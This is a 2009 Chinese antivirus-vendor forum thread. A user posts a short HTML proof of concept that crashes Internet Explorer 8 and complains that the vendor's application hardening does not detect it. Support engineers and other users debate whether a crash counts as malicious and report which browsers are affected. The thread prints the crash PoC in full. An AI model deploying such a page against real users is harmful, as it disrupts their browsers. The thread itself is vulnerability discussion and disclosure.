12   1  /  2  页   跳转页

一段公开代码，绕过RIS一切组件

收藏
taylor05771
头像
社区嘉宾
  • 帖子:7232
  • 注册: 2003-12-24
  • 来自:
发表于： 2009-08-07 16:51 | 只看楼主 短消息 资料
字号： 小 中 大 1楼

一段公开代码，绕过RIS一切组件

当访问的网页包含如下代码的时候，即便IE加入到RIS2010程序加固也白搭

IE 该报错依旧报错，RIS所有组件都无反应


注意 这个测试，主要说明 程序加固对IE的加固，还是不坚固！！！

另外别拿解释代码的内容来回帖，这是MS Internet Explorer 8.0.7100.0 Simple HTML Remote Crash PoC

虽然写着IE8，估计其他版本的IE 也一样。



代码如下

[复制到剪贴板]
CODE:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<body>
  <div style = "width: 100%; max-height: 400px; overflow: scroll;">
    <script type="text/javascript" src="nichtvorhanden"></script>
    <script type="text/javascript"></script>
  </div>
</body>
</html>


最后编辑taylor05771 最后编辑于 2009-08-07 16:54:08
分享到：
gototop
 
瑞星工程师20
头像
在线技术支持工程师
  • 帖子:9594
  • 注册: 2008-09-08
  • 来自:
发表于： 2009-08-07 17:02 | 短消息 资料
字号： 小 中 大 2楼

回复：一段公开代码，绕过RIS一切组件

问题已经收集，欢迎楼主继续测试。
gototop
 
时空武者
头像
快乐黄口狮
  • 帖子:193
  • 注册: 2007-07-11
  • 来自:
发表于： 2009-08-07 17:22 | 短消息 资料
字号： 小 中 大 3楼

回复: 一段公开代码，绕过RIS一切组件

貌似对我的Maxthon一点作用都没有，打开正常呢。
gototop
 
瑞星工程师12
头像
在线技术支持工程师
  • 帖子:21624
  • 注册: 2008-09-08
  • 来自:RISING
发表于： 2009-08-21 11:11 | 短消息 资料
字号： 小 中 大 4楼

回复：一段公开代码，绕过RIS一切组件

楼主提供的这个测试并没有包含恶意代码
欢迎加入
瑞星杀毒软件QQ群 47032532
瑞星个人防火墙QQ群 204732153
瑞星路由安全卫士QQ群 213941034
瑞星安全WiFi QQ群 81864985
瑞星手机安全助手QQ群 64866930
gototop
 
hymwxm
头像
拙长孩提狮
  • 帖子:135
  • 注册: 2009-07-02
  • 来自:
发表于： 2009-08-21 11:38 | 短消息 资料
字号： 小 中 大 5楼

回复：一段公开代码，绕过RIS一切组件

IE7正常
gototop
 
taylor05771
头像
社区嘉宾
  • 帖子:7232
  • 注册: 2003-12-24
  • 来自:
发表于： 2009-08-21 13:39 | 只看楼主 短消息 资料
字号： 小 中 大 6楼

回复: 一段公开代码，绕过RIS一切组件



引用:
原帖由 瑞星工程师12 于 2009-8-21 11:11:00 发表
楼主提供的这个测试并没有包含恶意代码


按照您的说法，针对IE8的漏洞代码就是善意代码了？？

我真的火了，分析几周的结果就是这个？


我甚至怀疑，相关人员有没有认真分析测试，在此我教你怎么测试好了：


把相关代码复制到记事本 保存成html格式，放到服务器网站下面访问这个页面，再测试！！
最后编辑taylor05771 最后编辑于 2009-08-21 13:44:33
gototop
 
fy08
头像
叱咤花甲狮
  • 帖子:3198
  • 注册: 2007-01-27
  • 来自:都立夜兔工业高中
论坛9周年纪念冰激凌10温馨圣诞国庆61周年2010国庆勋章闪亮的光棍
发表于： 2009-08-21 13:51 | 短消息 资料
字号： 小 中 大 7楼

回复: 一段公开代码，绕过RIS一切组件

IE8确实会有这个问题,而且RIS不报警
gototop
 
瑞星工程师18
头像
在线技术支持工程师
  • 帖子:1589
  • 注册: 2008-09-08
  • 来自:
发表于： 2009-08-21 14:44 | 短消息 资料
字号： 小 中 大 8楼

回复：一段公开代码，绕过RIS一切组件

楼主的问题很有意思
我测了下，这段代码确实会导致IE8崩溃
有一点需要明确，应用程序加固的目的：保护IE浏览器、office等软件有效防御针对此类软件进行的攻击或恶意行为，但不是提高或解决此类软件的稳定性和兼容性；
但此段代码确无无恶意行为，但会导致IE8崩溃，
建议将这段代码反馈给微软，或许此问题可以得到更妥善的解决，
同时楼主也可以测下，在装有其他杀毒软件的IE8环境系统，是不是可以有效解决此问题，以验证上面所说的话。
您的参与就是对于我们最大的支持
gototop
 
Palkia
头像
强壮不惑狮
  • 帖子:1079
  • 注册: 2009-01-20
  • 来自:Subspace
论坛8周年活动礼物09欢乐圣诞10温馨圣诞
发表于： 2009-08-21 15:08 | 短消息 资料
字号： 小 中 大 9楼

回复：一段公开代码，绕过RIS一切组件

ie6测试没事。。。
gototop
 
taylor05771
头像
社区嘉宾
  • 帖子:7232
  • 注册: 2003-12-24
  • 来自:
发表于： 2009-08-21 15:29 | 只看楼主 短消息 资料
字号： 小 中 大 10楼

回复: 一段公开代码，绕过RIS一切组件



引用:
原帖由 瑞星工程师18 于 2009-8-21 14:44:00 发表
楼主的问题很有意思
我测了下，这段代码确实会导致IE8崩溃
有一点需要明确，应用程序加固的目的：保护IE浏览器、office等软件有效防御针对此类软件进行的攻击或恶意行为，但不是提高或解决此类软件的稳定性和兼容性；
但此段代码确无无恶意行为，但会导致IE8崩溃，
建议将这段代码反馈给微软，或许此问题可以得到更妥善的解决，
同时楼主也可以测下，在装有其他杀毒软件的IE8环境系统，是不是可以

IE8是怎么崩溃的？肯定不是拿榔头砸的


那为什么会崩溃呢？那么这段代码是针对IE 的远程拒绝服务攻击。

远程攻击的结果很多，一种是执行任意代码，一种是导致相关软件或者组件拒绝服务，前者后果严重而后者结果相对较轻。

你能说这不是恶意行为？如果IE没有这漏洞，攻击是不能得逞的，也有人说过IE6不会触发这个漏洞，因此把这个推给IE的稳定性和兼容性，是错误的做法

从截图中我们很容易看到报错的内存地址，某非 程序加固对于针对IE内存的小动作是无法拦截的？


另外类似“其他杀毒软件**处理”这种说法是让人发笑的，难到瑞星就没有一点自己的技术，一直跟在别人后面？
最后编辑taylor05771 最后编辑于 2009-08-21 15:34:46
gototop
 
<<上一主题|下一主题>>
12   1  /  2  页   跳转页
页面顶部
Powered by Discuz!NT